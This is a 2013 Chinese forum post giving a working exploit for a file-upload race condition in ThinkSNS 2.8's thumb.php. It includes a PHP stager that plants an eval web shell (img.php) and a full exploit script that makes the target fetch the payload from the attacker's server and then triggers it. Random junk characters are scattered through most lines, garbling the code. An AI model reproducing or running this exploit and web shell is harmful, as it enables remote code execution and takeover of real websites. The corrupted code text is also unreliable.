找回密码
 立即注册
查看: 2407|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本$ N8 P! l8 {( V9 l& i9 l
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)4 n' R+ ]. O. a2 P6 M
漏洞文件- ^7 |7 o: m: T8 I9 H0 a3 o
存在漏洞的文件为:thumb.php, W: @- n+ o. X$ z
作者:韦鲲鹏
/ R# E+ m4 w3 A! v0 _+ X# {1、        准备如下PHP文件并上传到服务器(自己的)。
1 Q2 v3 X2 \' b( q, Y& x% i文件内容如下:8 I! ?; \/ b2 R0 t3 W9 y8 o8 _2 |6 N
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
: I+ ~( O) w6 D8 ]/ j2、        计算出临时的文件名:
/ J0 y/ m' q+ z. @这里我们可以看文件的99行(刚刚是不是没注意呀!)。
8 h$ |, Z* A7 ~! R
! P6 u1 W+ k  x3、        上传临时文件。
! [& R  W1 \' E3 u8 T8 I+ ?4、        访问临时文件。" f- }0 S; ]7 G' d4 F7 H  s" @
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
( ]: u$ h; U5 x) q7 L3 JExploit文件内容如下:(这个我就不详细解释了)& D$ P8 J- Q% _; {
<?php. V* }6 M$ t9 y' N& m# l9 j
error_reporting(0);$ N3 T7 }. Y; a  J$ G% }
set_time_limit(0);
# S  b% ~) k& i* y' r* Oini_set(“default_socket_timeout”, 5);
# r: j$ S; n: F+ Rfunction http_send($host, $port, $headers) {+ D+ t- p# q( ^2 |  t
$fp = fsockopen($host, $port);) o8 ~) R5 e3 \
if (!$fp) die(‘Connection -> fail’);
$ U" r' L; ^1 V4 a5 R! \fputs($fp, $headers);7 h: E' Z* _& W- [- Z/ W
return $fp;+ {0 V  w- z- K% k0 `# {9 Z
}
0 S* G7 u9 T* c2 H# @3 y) Y# hfunction http_recv($fp) {
; F" N) ?2 ?$ ~2 f$ L$ret=”";
7 Q& V) O; \& w, [4 ]2 Bwhile (!feof($fp))& o* D- ^' s: O% q1 D- T% S( z1 Q
$ret.= fgets($fp, 1024);
6 l, D5 O" H$ D& o- hfclose($fp);
4 j& ~- r8 M3 C; ]( Y& `3 ?7 breturn $ret;/ x: [0 G$ h4 A
}
' C# [8 `  p- rprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
, @1 v1 G& ^! d/ q& a( I7 Q' S5 Lprint “# Discovered by 韦鲲鹏 #\n\n”;
1 s/ {6 P, P* O3 X2 }' h2 Zif ($argc < 4) {# e6 v4 d* @. T
print “Usage:   php <host> <path> <romote_url>\n”;
: M, }7 j) K. ?" G1 `6 M7 eprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
2 t5 w3 a" c& J0 z; v) Y* Ndie();3 E7 `; G- s) T3 Z
}
  C% q+ n0 z( c9 t; h2 ~& e* j/ K  d5 I$host = $argv[1];  U7 }' N1 _: l, x1 Y
$path = $argv[2];
! d, x5 N" Q6 [( K  _+ ?$url = $argv[3];
6 ]* N4 B) N- b$i=0;! p& `0 b6 A" P" e
//上传数据包* H# c4 S$ `! D! w  |& ~
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
5 i5 V( @* C* T, B: v$headers_up .= “Host: “.$host.”\r\n”;; x6 J( H$ K1 F; v2 B1 Q( {! v
$headers_up .= “Connection: close\r\n\r\n”;- O# L$ U$ |9 [
echo $headers_up;& j. j% j8 _4 p2 k. R
//临时文件访问数据包4 h0 R1 m" d; n9 G9 f6 @) r
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;: m: b% M5 b% {* ^! v& _& O
$headers .= “Host: “.$host.”\r\n”;) ]+ b/ s4 l. S& E' v( [& S1 r
$headers .= “Connection: close\r\n\r\n”;* W8 k: w8 g; |) i( n5 E
echo $headers;/ ^; p$ |5 v1 v' D0 w3 x# l% n
while(++$i<10) {
4 W" j6 u% H0 B$ l, j3 t2 Bfclose(http_send($host, 80, $headers));( f' Y2 G4 O, C, Z' ~  i4 G
}! H: {; o; Q: L4 i
fclose(http_send($host, 80, $headers_up));
& q4 p7 k* e! j, Vwhile(++$i<50) {) x, s' w6 H* z* @! x' F
fclose(http_send($host, 80, $headers));) p/ @' F% P- Q+ E( X
}
) b: i5 s6 f  p, I: Z$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
  l2 u+ F, ~8 W8 x$headers .= “Host: “.$host.”\r\n”;
) y8 O7 v+ f/ H$ B) E$ F9 q$headers .= “Connection: close\r\n\r\n”;! v- m& C* Z; W
$res=http_recv(http_send($host, 80, $headers));
( C9 \/ v" R* d0 @7 q. _( kif(preg_match(‘/200 OK/’,$res)) {
4 n: p* @5 I# w7 T- \' Yprint “Success!\n\n”;. |$ d( a2 y8 F# L
} else {
/ y0 t* ]# }; rprint “Fail!\n\n”;
- M7 t( l) S3 I" v* g& j}
1 N4 d/ a0 i0 `( C2 H$ _9 n?>
& H0 B7 F' p2 K( h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表